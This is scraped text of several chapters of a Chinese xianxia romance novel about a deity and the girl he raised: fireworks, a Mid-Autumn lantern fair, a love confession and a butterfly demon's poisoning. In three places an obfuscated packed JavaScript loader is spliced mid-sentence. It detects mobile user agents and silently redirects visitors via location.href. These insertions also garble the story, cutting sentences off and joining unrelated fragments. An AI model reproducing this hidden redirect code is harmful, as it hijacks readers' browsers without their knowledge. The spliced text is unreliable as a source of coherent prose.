想到这儿,常朔提起笔在纸上写写画画,来回改了几个版本,又写了封信,这才将信与图纸一起飞书传给云中天此时仍忙得焦头烂额的明希。 他想给杧杧做一件趁手的武器与合身的护甲,要轻,要坚固,要好用。 这一周里,杧杧果然没有用伤到的那只脚,常朔根本就不让她下床。就是十万火急的情况,也是让她坐着悬浮草垫去的。 活动受限,杧杧看话本的时间就多起来。有次常朔经过她房门口,听见屋内传来小声呜咽。推开门才知道,原来是杧杧看得入迷,不能自已。 本来伤的也不重,在床上待了两天,杧杧的脚就不痛了,只是常朔要求,她也只好继续躺着。 终于解禁后,杧杧又生龙活虎起来,巴不得将这座山翻个面,她天天呆在屋子里都快无聊死了。 “杧杧,吃饭。” 这时候杧杧刚得到出门的准许。下午刚回来,她在喂兔子。 “来了。” 从那日常朔的生辰过后,常朔好像放弃了学做饭这事,这几日的吃食看着卖相颇佳,闻着也不错,她问,常朔解释是买来的。 还不能下床的时候,饭菜都是常朔亲自端来给她,现在伤好了,杧杧又坐到平台上的木桌前吃饭。 “吃完带你去个地方。”常朔道。 “好。”杧杧不自觉加快速度。 “慢点。” “哦。” 总之她还是三两口扒完了。 入夜,北丏山更冷。 常朔和杧杧都不是怕冷的,两人徒步往山顶走,走着走着还感觉身体暖和了点。 “阿朔,我们要去干什么?” “到了就知道。” 常朔有心卖关子,不肯告诉她。杧杧只好算了,她跟在常朔身后,走两步又跳两下。 晚上风大,走起来多少有些困难。北丏山只有一座山峰,很符合印象里“一座山”的模样。 到山顶后,常朔让杧杧找了个石墩坐下,他自己走到前面不远处的空地上,从袖洞里拿出两个木匣子放在地上。 人们把这玩意儿叫做烟花,他虽不懂有什么好看的,但杧杧似乎很喜欢。若有机会,要带她去看看重溪殿云台上的星辰,那才叫好看。 常朔擦了个火花点燃引绳,随后起身朝杧杧走去。 两人只有一步之遥时,引绳终于燃尽,那时间,漆黑的夜空中炸出一朵接一朵绚烂的烟花,点亮整片黑暗。山顶开阔,看得更加清晰。 常朔在杧杧身旁坐下,她震惊地愣了一瞬,很快反应过来后,激动地跳起来,想离烟花更近似的,又向前跑了几步。 “阿朔,这烟花好美!”杧杧回过头,兴喜溢于言表,脸上的笑容是常朔从未见过的灿烂。 “嗯。”常朔被她的笑容感染,不禁勾起唇角。 杧杧看了会儿折返回来,在常朔身旁坐下。她眼睛里亮亮的,倒映着烟火,专注而热切,全然没有察觉到身旁投来的目光。 “红鸾星动,素在尔侧;欲成善果,必涉崎程;若渡生死之劫,则遂夙昔之愿。” 这是楚生给她算出的卦辞,杧杧望着烟花,突然想起来。 当时并不理解其中含义,怪她愚钝,还以为自己对常朔只是依赖与感激。 岂止。 有些心意就是在一瞬间明白的,只是这之前,需要许多准备铺垫,情到深处时心底的种子自然会发芽。 或许这颗种子早在他们第一次见面就已种下,她还是棵小树苗的时候就与他认识了。一个风雪交加的夜晚,有位神明从天而降,从此她在神明的庇佑下能站稳脚跟。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059236|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 杧杧的心跳得越来越快,她悄悄侧目看过去,常朔在认真看烟花,没发现她的目光。 对于杧杧来说,常朔是救命恩人,亦是良师益友,她从未肖想过,而如今,她却不得不开始这样想了。 “阿朔,你为什么带我来看烟花?”杧杧的视线又转移到天上。 “不是喜欢?”常朔不答反问。 明明山顶更冷些,风也更大些,杧杧的脸却越来越热。 “谢谢你,阿朔。我很喜欢。”她弯起眉眼。 “嗯。” 烟花炸完最后一发,夜恢复平静。 杧杧却不想这么快回去,明明每日都和常朔呆在一起,她却总觉得不够。 从前不明白自己为何会有这样的感觉,直到方才,心里那层薄膜被戳破后,恍然大悟。 杧杧承认自己贪心不足,已经没人比她更有得天独厚的优势了,她仍然想要占据更多。渎神是罪恶的,但她不是圣人。 话本子里都写,爱就要占有,要承认私心的存在。 “走吧。”常朔率先站起身,并朝杧杧伸出手。 杧杧搭上去,任由常朔把她拉起来,两人的手依然没有放开。 “山路崎岖,别摔了。”常朔嘱咐道,这像是给她找了个理由,能正大光明地牵着手。 虽然杧杧已经极力保持自然,但仍有些欲盖弥彰的心虚。 奇怪,从前不会这样。 他们不是第一次这样手牵手,以往觉得再正常不过了,为何今晚感到无所适从?杧杧的手心出了薄薄一层汗。 “热吗?”常朔问她,“要不要休息一下。” 杧杧摇头。 这没什么,只是一次牵手而已,太正常了!杧杧在心里这样安慰自己,终于调整好心情。 - 在水榭又待了几日后,门前来了位意想不到的客人。 那时傍晚,常朔在书房,杧杧在逗兔子。 来人是木秋宜,杧杧是有些没想到。 “你怎么知道我家住这儿?”杧杧给他开门,请他到院子里的木桌上坐下。 “整座山怕是只有你们一户人家吧。” “是哦。”杧杧不好意思地挠挠头,又把手里的胡萝卜一起丢给小白,“你来找我做什么?” “没事不能来找你吗?” 杧杧没搭话,可以是可以,但谁会闲得发慌跑来这种地方? “是这样,我听说今天大洲人在过一种叫中秋节的节日,我想去看看,听说大家都会在河边放孔明灯,美极了,你要不要去?”木秋宜解释道。 “中秋节?”杧杧从书里看到过关于这个节日的记载。 在这一天,人们团聚在一起,赏月,吃月饼,放灯祈福。 “是啊,怎么样,去不去?” “你为何来邀请我?”杧杧没着急回答,问道。 “我就你一个朋友,不邀你邀谁?”木秋宜被气笑了似的,“怎么样,去不去你倒是给个准话啊。” 对于没见过的东西,杧杧很心动。 “你等一下。”她朝书房跑去。 杧杧当然想邀请常朔同去,她现在巴不得粘在常朔身上。 快到书房门口时,杧杧放缓脚步,在门口站定后,她抬手轻轻敲了敲。 “进。” 杧杧推门进去。 “何事?” “阿朔,你想不想去大洲过中秋节?”杧杧期待地问。 常朔停下笔,抬起头来。刚刚听见来找她的似乎是个跟她年龄相仿的男孩。 “你想去?”常朔明知故问。 “嗯!” “好。” 杧杧喜上眉梢,她知道常朔这是答应了。 10. 双生莲 三人动身前往大洲。杧杧分别给常朔和木秋宜介绍了对方,木秋宜到热情地同常朔打招呼,常朔则是一如既往地冷淡。 从冀苍去大洲,需要穿过一座无边森林,这是一道无形的界,踏错一步都是南辕北辙。 木秋宜本来准备了张地图,现在有常朔,倒是用不上了。 常朔带两人穿过无边森林,刚出来,映入眼帘的是一条热闹无比的街道。再回头看,身后哪里还有森林的影子。 官道上挤满了形形色色的人,大家脸上都洋溢着幸福的笑容。女人们簪花盘发,面带美艳的妆容,穿着做工精致的绣裙,捏着团扇有说有笑,好不快活。 道路两侧是各式各样的摊铺,家家张灯结彩。灯光色暖,瞧得人也温暖。 这里是跟妖市完全不同的地方! “这是哪儿?”杧杧问道。 “人间京都。”常朔答完,自然的牵起她的手,“人多,别走丢。” 杧杧又脸红一阵。 今晚出来玩,三人都穿得低调。 杧杧仍旧是圆领短衫搭配灯笼裤,双丫髻;常朔罕见地挽起一半头发,用一根玉簪固定,他今日穿的古袍素雅,淡青外衫,纯白内搭。 而木秋宜穿得……很杂乱,像是把能穿的衣服拼剪在一起穿上身,与他清秀的外表格外违和。 纵使如此,他们立在人群中,奇异的装扮依然格格不入。路过的人总忍不住侧目打量。 杧杧浑然不觉这些目光,她紧张地感知着常朔牵着她的手,拇指下意识摩挲了下他的手掌。常朔的手宽大温热,将杧杧的手完全包裹住,很心安。 三人跟着人群,往河边走去,期间杧杧停下来买糖葫芦,一转头木秋宜不见了。 他们事先约好了逛完灯会的集合点,待会儿去那儿和木秋宜碰头好了。 杧杧没吃过糖葫芦,竟不知原来世上还有这般好吃的东西,像糖果一样甜,又保留水果的清香。 两人走得极慢,实际上前方人头攒动,想走也走不快。 中秋灯会,自然要猜灯谜。杧杧也想去凑个热闹,便拉着常朔挤进人群里,勉强站到第三排。 只见前方广场上,架着高高的灯竿,上面挂了一排排红红的灯笼。 杧杧和常朔挤进去时,灯谜早已被猜得七七八八,彩头也所剩无几。 “诸位,鄙人这儿还有最后一个灯谜,谁要是猜准了,便可领走本店最高彩头——出自井先生的双生莲花灯!” 众人一听,全场哗然。 “井先生是谁?”杧杧问旁边的人。 “瞧姑娘打扮,不是本地人吧?井先生可是京城名匠,他做的灯千金难求,有市无价!”那人神采奕奕,似乎势在必得,“这样好的彩头,当真难得啊!” 闻言,杧杧往前方的奖品台上看去,一盏并蒂莲花灯摆在其上,花朵栩栩如生,雪白花身,红线描边,就是远远看去,也知这灯价值不菲。 “灯博士”有意卖关子,等众人都吵着问谜面,他这才缓缓道来。 “日上三人林边阴,打一字。” 台下众人开始讨论,一时间,竟无一人说出答案。 杧杧也思考着。 “组一字,拆一字,再组一字。”常朔道。 “哟,这位公子言语晦涩,别是故弄玄虚,故作姿态吧?”一旁有人听见了,质疑道。 常朔不做理会,他只问杧杧:“如何?” 杧杧思索片刻,喜形于色,“我猜到了!” “鄙人听见有人猜到了!诸位稍静,”灯博士大声喝道,“这位姑娘请说你的答案。” 众人纷纷看向他们二人,倒是在中间让出一条路。 杧杧道:“造字游戏而已。日上三人即将‘日’‘三’‘人’三个字组为‘春’,林边阴,取‘林’字半边,即为‘木’,两相结合便是‘椿’字。” “不错,正是‘椿’字!”台上的灯博士笑眯眯地,“恭喜姑娘,得双生莲花灯一盏!” “是啊,有道理……” “我怎么没想到!” “原来如此。” 杧杧接过灯,方才在台下看不觉得,如今提在手里,才觉得好大一只。 “多谢阿朔!”杧杧开心,说话的语调都上扬。 “你自己聪明。”常朔自然地接过杧杧手里那只沉重精致的花灯,另一只手牵着她,往人群外走去。 这么大个花灯,都到哪儿都惹眼,杧杧干脆把它小心塞进乾坤袋里。 走过热闹的集市,两人来到河边。河里已经飘着许许多多形状、颜色不一的花灯了。灯盏点亮河面,瞧着十分好看。 来的路上,两人又买了两盏小河灯,可以将愿望写好放在里面。 杧杧叽叽喳喳写了一大堆,她的字稍大,纸条小,正反两面都写满了还没把愿望写完,常朔便把自己的递给她写。 见状,杧杧问他不写吗,常朔摇摇头。河灯拜河神,他自己就是神仙,还要拜谁?虽然不掌管河流,实现几个小愿望的能力还是有的。 “许了什么愿?” “愿望说出来就不灵啦,阿朔。”杧杧写得认真,手还挡得严严实实,生怕别人看见一样。 常朔挑眉,他这么大个神仙杵在这儿呢,怎么不见她来拜一拜、许个愿?他又不要香火。 两张纸条都被写满,杧杧把它们卷好放进灯里。想了想,又把灯芯取出来,拔了两根头发,将化成的树叶塞进灯里。 雪杧树的果实是做天灯灯芯上好的材料,树叶自然也不差。 之后,杧杧拉着常朔,把两盏灯一起放进河里,看着他们渐渐飘远,在一众闪烁的河灯里,就数那两盏最亮。 这时,杧杧耳边传来一支悠扬的曲子,她回头一看,原来是常朔在吹奏手里的骨笛。 简短的小曲,杧杧却听得入迷。 “阿朔真厉害。”她从前不知道常朔还会吹笛子呢。 常朔莞尔,收起骨笛。听说中秋节是团圆的日子,此情此景这曲子很合适罢了。 “还逛吗?” “嗯!” 常朔转身要走,又被喊住,回过头来。 “怎么了?” 杧杧垂落的手紧捏衣角,她怔怔望着常朔,本来紧张的心渐渐平静,唇角弯起。这没什么,她本就不是喜欢在心里藏太多事的人,想得多便累,她喜欢活得轻松一点。 于是,杧杧启唇,语气平常如在说“今夜的灯好美”这般。 “阿朔,我喜欢你。” 没有太多修饰,也没有浮夸的解释,仅仅这简短的一句话就足够了。 常朔心里倏尔有根羽毛飘过。 “你不用回答,喜欢你是我自己的事。我也不是小孩子了,知道喜欢是什么意思。”杧杧放开衣角,淡然笑道,“我就是想告诉你一声。” 她不多求,只要能日日看见喜欢的人便已知足。 “嗯,我知道了。”常朔找不出那根羽毛,心里仍然认为杧杧只是没分清爱情与亲情罢,“走了。” “好。” - 与此同时,北丏山雪怪山洞洞口。 两只九尺多高的雪怪正愤怒地咆哮,他们面前站着个披着黑斗篷的人,帽檐遮住半张脸。 雪怪气极,本来好好睡觉又被吵醒,他们大吼着就朝黑衣人发动攻击。而黑衣人动作更快,他双手结印,将灵力汇聚在两只手掌上后,仅一击,就将雪怪打倒在地。仔细看雪怪竟已没了生息! 黑衣人口中念咒,只见两缕灵光自雪怪头颅中挣脱而出,飞到黑衣人手中。 雪怪的身体早已散成一堆岩石,黑衣人将岩块踹进山洞,做好收尾工作,便悄然离开,茫茫雪原中,他仿佛从未出现过。 - 热闹的长街上,两人沿着河道往前走,看了许多杂技表演,一路无言。 刚路过一家酒楼,就见里面跌跌撞撞跑出一个男子。那人痛苦地叫喊着,手不断抓着脸和脖子,被抓过的地方包括手指,都变成黑色,像中毒一般。 “救我!救救我啊啊啊啊——” 那人下一瞬就跌倒在地,口吐白沫,眼珠爆出,身上黑色斑纹未消,突然又起火自燃。 周围人无一不惊慌失措,却没有人上前理会。杧杧想上前去看看,被常朔一把拉住。 “屏住呼吸。”常朔神情严肃。 待大火渐小后,那人已经成一具黑乎乎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二楼楼道尽头的雅间外毒雾最浓,幻蝶应当就在那儿。两人走过去,推开门,一股黑色浓烟扑面而来,整个屋子被毒烟笼罩,一点看不出原本的样子。 常朔微微眯眼,额间天秤印记显现,随后周身神力喷涌,一击冲散毒烟,屋里瞬间清晰可见。他紧了紧抓着杧杧的手,淡定地往屏风后走去。 然而屏风后什么都没有。 杧杧正心底疑惑,大脑飞速运转之时,一旁的常朔蓦地抬手,定住一把朝他后脑勺袭来的匕首,他食指和中指并拢微屈,那把匕首瞬间炸成齑粉。 “走。”常朔牵着杧杧,眨眼间瞬步到楼下,立在酒楼大门口,他挥挥手,身后木门自动关上。 只见酒楼里的毒烟聚拢成一团,朝两人袭来,却在离他们寸步之时,不知被什么东西拦下来。常朔瞳孔轻闪,那毒烟竟发出一阵尖锐的低吼。 不多时,那团毒烟终于承受不住,渐渐凝成一个人形,趴倒在地。 作乱之妖便是名女子。 “他跟你何怨何仇,你要杀了他?”杧杧质问道。 蝶女诡异地笑起来,她抬起头,直直地盯着杧杧,眼里充满红血丝,漂亮的脸蛋显得异常狰狞。 “哈哈哈——他算个什么东西,也敢来摸本宫的手?既然不想活,本宫成全他便是!”女子叫喊道。 听她自称“本宫”,定是皇室成员了。常朔盘算着结束后他要向阙京要多少钱合适,帮人管理下属总得收点好处。 “罪不至此。”杧杧蹙眉。 “呵,那本宫与你们也无怨无仇,你们打本宫做甚?”蝶女又将视线移到常朔身上,这一眼她便呆住,“你,你是……” 他额间的天秤印记再明显不过,蝶女哪里还认不出来。她自认倒霉,却不愿就此落到常朔手里。 蝶女费力从地上爬起来,用袖子擦了擦脸。 这时候才看清楚,她长得极为妖艳,只看脸甚至可以说是风情万种,教人看了移不开眼。就是衣服上处处是血渍,腰间还有鲜血流出,蝶女却似浑然不觉。 忽然间,蝶女朝二人撒了把毒粉,随后化成一只拳头大小的紫斑蝶,飞速朝最近一扇窗户飞去。 11. 南师弥 常朔二人有结界护体,那把毒粉并没起到什么作用,他指尖飞出一丝神力,在空中旋转变化成一只缚灵锁。 这缚灵锁像开了定位一样,朝紫斑蝶逃离的方向紧追不放。 紫斑蝶被捆住后不再扑扇,又化作蝶女模样。 “你叫什么名字?”杧杧问道。 蝶女别过头,不做理会。 “师水氏没教过你礼貌吗。”常朔冷冷的声音响起。 蝶女一听,神色凝重,她扫了眼手臂上露出的图案,下意识扯过袖子遮住。 “南师弥。” 幻蝶族的姓分别由父母的姓氏组成,根据氏族强弱排列顺序。其下每个氏族都有自己的图腾,两个氏族会给结合诞生的后代手臂上刺上图腾,以示身份。 常朔能看出来不奇怪。 皇室母族必然得是众氏族中最强盛的那个——风氏。而南师弥的母亲师水清与当今国主南风刎是年少情谊,师氏势微,不可能与皇室结亲,南风刎在继位后才得知师水已有身孕,这才破例将她接进宫。 正因母族势力弱小,南师弥从小遭过那些“正统”子弟多少白眼,被欺负,被嘲笑,甚至被暗杀。明面上她是公主,可谁承认她的身份?怕是连她父亲都不愿意承认。因为她的存在,是皇室的耻辱。 所以她痛恨南风氏,恨不得除之而后快。这样她懦弱的母亲不必每日以泪洗面,她也不必成日躲避追杀。 常朔手指轻握,缚灵锁瞬间收紧,缩成一个金色小球,南师弥被锁在其中。 “走吧。” “嗯。”杧杧点点头,“阿朔,外面的人怎么办?” 她指的是那名死者。 “自有人处理。” 谈话间,常朔已经带着杧杧瞬步至同木秋宜会面的地方。 木秋宜嘴里叼了根草,靠在牌坊立柱旁,百无聊赖地编蚂蚱玩儿。 “怎么那么慢?”木秋宜见人终于来了,不满道,“咱们走吧。” 三人一同走进牌坊,另一面却没看见三人身影,原来他们已经回到冀苍。 跟木秋宜分别后,常朔和杧杧回到水榭。 水榭平台上立着一名男子,长得端正,站得笔直,身着墨黑劲装,背上背了把巨大的镰刀。 正是阙京的神兽——石生花陆眠,他是来代替阙京处理幻蝶一事的。 见常朔来了,他恭恭敬敬地行了个礼,对杧杧也礼貌微笑,微微颔首。 陆眠办事牢靠,交给他放心。 常朔从袖洞里拿出那颗金球,刚要递到陆眠手上,身旁杧杧猛然喷出一口黑血,身体前倾往下倒。 还没递出去的手收回来,常朔瞳孔微缩,蹙起眉头,手疾眼快在杧杧倒地前接住她。 “你先回去。”他声音冷得不像话。 “是。” 陆眠被常朔的表情吓出一身冷汗。虽然俏天秤有一张极俊美的面容,但这并不能让人忽视他严肃时的恐怖。陆眠从未在常朔这张冰山脸上看见这种表情,锋利如尖刀。 常朔把杧杧抱进屋,给她把脉探查情况。 很糟糕。 不知何时,杧杧竟中了南师弥的毒。幻蝶之毒,非下毒者无可结,即使是神仙也没办法。 常朔只好先稳住杧杧脉象,暂时压住毒防止蔓延。随后他起身出门,轻轻带上门,瞬步进书房,将袖中小球扔垃圾似的扔到地上。 金球解禁,又恢复成绳索模样。 “解药。” 南师弥被摔得生疼,她本来就有伤,被缚灵锁捆得难受极了,又被常朔扔,登时怒火中烧。 “没有。”她的语气同样生硬。 “给不给?” 南师弥轻笑一声,一字一字说:“不!给!” 常朔懒得跟她废话,隔空掐住她的脖子将人拖至半空中,另一只手打个响指,南师弥脚下立马感受到一股热浪。 原来是常朔直接点燃了木板,大火烧得旺,浓烟呛得南师弥直咳嗽,火苗离她的足底不足一寸。 南师弥不断挣扎着,天性使然她很怕火,应当没有蝴蝶是不怕火的吧? “给不给?”常朔再次开口,语气不带一丝温度。 “不,给。”南师弥吃力地从喉咙挤出两个字。 还挺犟。 常朔握着她脖子的手渐渐加力,他面沉似水,并不为南师弥的不屈感到欣慰。 不自量力。 “你该知道,幻蝶族再强,在本君眼里不过蝼蚁。师水氏更不必说。” 一瞬间,南师弥如坠冰窟。不可以,绝对不可以,幻蝶族那群杂种只能由她亲自手刃!而师水清……虽然自己瞧不起这个懦弱的女人,但她好歹是自己的母亲。 常朔谈判时从来游刃有余,胜券在握,只是这次事关杧杧性命,要快。 “好,”南师弥一开口,常朔手中力道减轻许多,仍旧没有放手,“但我有个条件。” “你没资格谈条件。” 南师弥闭了闭眼,牙齿咬得咯咯作响,她平生最讨厌被威胁,然而对方是常朔,不接受也没办法,他有的是让你不得不接受的手段。 “放我下来。” 常朔不动,只道:“解药。” “解药须我亲自催动药效。” 常朔这才收起火团,松开手。南师弥摔倒地上,剧烈咳嗽起来,大口呼吸。火并没有烧坏她的衣服,只是烧得她足底火辣辣地疼。 缚灵锁被常朔调动成一只项圈,拴在南师弥脖子上,这才带着她进去杧杧的房间。 毒素暂时被压制住,还未伤及心脉。南师弥没耍花招,老老实实地给杧杧解毒。 她咬破手指,在杧杧脸上手上画出图腾符咒,刚想扒开她的衣服,又转头对常朔道:“你转过去,我要在她身上画咒。” 常朔的目光从杧杧苍白的脸上移开,依言转身。 在杧杧的胸口、腹部、大腿、小腿,足弓上都画完符咒后,南师弥手中结印,催动血咒解毒。 血咒很快生效,灵光沿着咒文纹路循环游走。杧杧似是感到痛苦,脸皱成一团。 很快,毒气从杧杧七窍中抽出,一丝一缕汇聚起来又尽数涌进南师弥眼瞳中,原路返回她体内,与此同时,杧杧身上的血咒也渐渐隐退。 是了,就是在酒楼和杧杧对视那一眼,南师弥眼中结阵,杧杧中招,毒素便通过阵术少量多次悄悄汇入杧杧体内,连常朔都未曾察觉,可见幻蝶用毒手段之高。 于是在抵达北丏山后,毒素汇聚达到一定程度,杧杧自然扛不住倒下。 “毒解了。”南师弥帮杧杧把衣服重新穿好,盖上被子,这才开口道。 常朔快步走到床边,探杧杧脉象,的确稳定下来,毒已经解了。再看杧杧脸色不似方才苍白,稍稍安心些。 “她何时能醒?” “大概一两个时辰。”南师弥估算了下,“我能走了吗?” 常朔没着急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059238|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答,他替杧杧揶好被角,探过她体温确认没发烧后,起身对向南师弥。只见他手一抬,缚灵锁又绑回南师弥身上。 “你!” “解毒是你应做之事,不代表你在本君这里罪名抵消。”常朔说着往外走。 说罢,他走出房间,缚灵锁再次收缩成一个金球飞进常朔袖洞里。 杧杧醒过来时,夜色正浓。 她扭动脑袋,缓了会儿,没感到什么不适,唯一的感觉大抵是饿了。这时她注意到屏风后坐着看卷轴的常朔。屋内只点了一盏灯,烛火微弱,依稀能瞧清楚他的身影。 看样子,他是一直守在这儿的。 出于私心,杧杧没有着急起身,就这样静静地看着他,视线一点一点勾勒描摹出他端坐的模样。 她的目光热切,常朔放下书卷,抬起头来,隔着一层屏风,两人的视线好似相撞。 “醒了。” “嗯。”杧杧这才从床上坐起来,整理好衣服,穿上鞋袜,绕过屏风走出去。 “我这是怎么了?” “中毒,已经解了。”常朔答完又问,“饿吗?” “好饿。” 常朔提着书案旁的木盒走到桌前,端出里面一盘精致漂亮的冰皮月饼,形状花纹各异。 杧杧眼睛一亮,迫不及待拿起一个咬了一口,冰冰凉凉的口感,红豆馅的,像蜜一般甜。 “好吃!” “坐下慢慢吃。”常朔说着,给她倒了杯茶。 一口气吃完三个,杧杧才感觉肚子没那么空。 “对了阿朔,一直忘了跟你说,”杧杧喝口茶,将上次在雪怪山洞的事情告诉常朔,“阿朔,我又梦见爷爷了。” 常朔沉默着,他知凛是杧杧心里的一根刺,生根发芽许多年,不时刺痛一下。 “当年的事,我也不太清楚,若你想知道更多事情,”常朔缓缓道来,“或许可以通过幻蝶梦境。” “幻蝶梦境?” “嗯,南海幻蝶以造梦和用毒著称。”常朔开始跟她解释,“梦并非梦,而是曾真实发生过的事情。 “幻蝶以风为媒介,有风的地方就有他们的眼睛,所谓梦境,便是将他们通过风看见的东西整理融合在一起造出的。 “风越大,能看见的越多。你可以将幻蝶梦境理解为时间回溯。” 七年前雪夜,山顶断崖边可是起了好大一阵狂风。 “南师弥现在?” 常朔取出金球摆在桌上。 杧杧刚要去拿,手被常朔轻轻盖住。 “她能给你下一次毒,难保不会有第二次。” “嗯,我会小心的。” 常朔将金球扔至半空,金球窸窸窣窣解开,南师弥被放出来。 “她伤得好重!” 南师弥早已撑不住晕过去,杧杧把她从地上扶起来,扛着送去床上,不能让南师弥死了。 她腰上的伤口有些溃烂,背上手臂上还有大大小小深浅不一的伤痕,杧杧给她包扎处理好后,要去山下抓药,她懂药理,知道怎么治。 常朔站在门口,见杧杧出来,把手里的钱袋子递给她。三界之间向来互不干扰,所幸南师弥没在大洲闹出更大的乱子,罚她几十年修为便可。 至于现在杧杧救她是另当别论。 “阿朔,劳烦你。” 帮忙注意南师弥情况。后面半句杧杧没有多说,常朔自能心领神会。 “嗯。” 12. 白折腾 北丏山下有一处村镇,住着雪精灵,杧杧采买就是在那儿。 杧杧写好药方,便赶去镇上的药铺抓药,南师弥的伤不能再拖,否则恐怕会恶化。 用水环传送到镇口,杧杧快步往镇口不远处的药铺小跑去。因为太着急,中途撞到一人。 “抱歉。”杧杧赶紧侧身让开。 “杧杧?”那人拉住杧杧手腕。 “木四?“杧杧回头,看清他的脸后惊喜道,“你怎么在这儿?” “嗐,我又没什么去处,这挺好的,精灵们都很和善,还离你近,我就住下了。”木秋宜挠挠头,不好意思地说,“对了,你今日怎么下山了?” “有要事。”杧杧没跟木秋宜多聊,着急要继续走,“先走一步。” “我有空去找你玩!”木秋宜对着她的背影喊道。 药铺老板认识杧杧,他这家药铺一年半载都不见得有人光顾,杧杧偶尔来给体弱的小白抓点风寒药,竟成了“常客”。 抓完药,杧杧匆匆赶回水榭,立即煎下一副药喂南师弥服下。 南师弥伤重,一时半会儿醒不了,恢复期也不知要多久。杧杧暂时把自己的床塌让给她,自己睡在一缎白绫系的简陋吊床上,在同一间屋子里方便她随时关注南师弥情况。 南师弥晕了三天终于醒来,然而她时刻保持警觉,不说话也不跟杧杧靠近,端来的药她也要等杧杧离开后确认无误才喝下。 碍于常朔威严,南师弥暂时不敢轻举妄动,她也不知杧杧有什么目的,明明自己才害过她,现在又转而照顾自己。 蠢。 既然有这种蠢人愿意奉献,她又为什么不接受。就呆在这里养伤,还不用担心南海的杀手,量他们不敢在常朔眼皮子底下找事。 南师弥外伤恢复挺快,内伤却久久不愈,手里没劲,法术也使不出来。 北丏山太冷,南师弥实在受不住。能下地后,她也只在屋子里转悠,偶尔去窗边透透气。 南师弥常常观察杧杧,因为实在想不通世界上真的会有那样……纯粹的人,好像没有一丝烦恼。 她恶语相向,杧杧平静地接受,每天给她送饭,还不忘提醒她按时喝药,甚至转头就能出门喂兔子,南师弥都怀疑杧杧在把她当兔子养。 “你不能一直给它喂白菜。”南师弥靠在窗边,对蹲在兔子窝边的杧杧说。 杧杧手里的动作停下,两人相处那么多天,她并不讨厌南师弥,甚至觉得她不似面上表现的那般冰冷,反倒有些傲娇,是个很好的人。 “那应该喂什么?” “干草。”南师弥答道,“干草作为主食,偶尔可以喂一些白菜。” “你懂的好多,之前也养过兔子吗?”杧杧欣喜地问。 南师弥不说话了,她重新关上窗,又躺回床上去。 听了南师弥的话,杧杧开始给小白喂干草,后面几天竟发现它腹泻次数少了许多,便责怪自己以前也太笨了。 木秋宜说要来找杧杧真就常常来。有时带些点心,有时是风车、草蚂蚱这种小玩意,很符合他爱玩的年纪,总之每回都没空着手。 偶尔他来时,能碰见在窗边的南师弥,木秋宜热情打招呼,南师弥往往只给个白眼,眼不见心为净似的关上窗。 “她咋这样?”木秋宜皱眉,也没什么好脸色。 “啊,她可能生病了心情不好吧。” 多一个玩伴杧杧自然开心,何况木秋宜还是个见多识广的朋友。他年纪比杧杧小,懂的东西却多多了。不说特别细致,至少问起来他能解释一两句。 以往遇到不懂的难题,杧杧看书找不到会直接问常朔,但也有些情况她不敢问——有日去书房找书时,杧杧不小心把常朔的骨笛摔坏了。 她没注意到骨笛就放在桌边,自己裙摆一扫,“啪”地一声骨笛落地,摔成两半。 杧杧知道这只骨笛对常朔意义非凡,她也只在中秋那晚才听常朔吹过一回。 这只骨笛是用凶兽苍鹭的尺骨做成的,且不说杀一只苍鹭做骨笛有多难,光是接近这种警觉的鸟就够费劲。 一时间杧杧手足无措,心慌得快呼吸不过来,她暂时不敢告诉常朔,只好先藏起来,等自己找到修复的方法再坦白。但愿常朔迟一点发现骨笛不见,好让她能有多一点时间。 书房里记载骨笛的书都快被杧杧翻烂了,然而关于怎样修复的部分要么描写粗略一句话带过,要么根本没有。 许是心性变化太明显,南师弥都发现这个整日笑嘻嘻的小姑娘除了在常朔面,其他时候开始变得愁眉苦脸。 “喂,你怎么了?”晚上睡觉时,南师弥忍不住问。 “你看出来了?”杧杧没想到南师弥会问,“我不小心把阿朔的东西摔坏了。” “摔坏就摔坏,他又不会怪你,一个天神何至于那么小气。” “可毕竟是属于他的东西,任何人都不会开心自己的东西被弄坏的,哪怕是存在感很低的物件,平时都不会想起来。” 南师弥一时间无话可说。她从小到大,没有过属于自己的东西。衣服是捡别人穿剩下的,食物是吃别人挑剩下的,就连她卑微的生活,也是靠别人“施舍”得来的。 因此,南师弥不知道有一件属于自己的珍爱之物是什么样的感觉,她得到的东西要立马物尽其用,没有的想办法要抢来,不懂损坏别人的私有物该有怎样的愧疚感。 无非就是被毒打一顿,得到的教训只是下回应该更小心。 “还好,木四告诉我冰湖里的龙骨可以修好骨笛,我明日就启程去。” “很危险。”南师弥不能理解。 “没关系。” 如果是为常朔,杧杧挺甘愿的,况且这回是她犯错在先。 - 照木秋宜所说,冰湖位于北境中部,群山环绕之间。用水环传送会被常朔知道,但杧杧顾不了那么多,反正迟早会坦白,等她成功取回龙骨,修好骨笛再向常朔赔罪。 这冰湖巨大一片,一眼望不到边,湖面上结着厚厚的冰层,怎么下去成了问题。 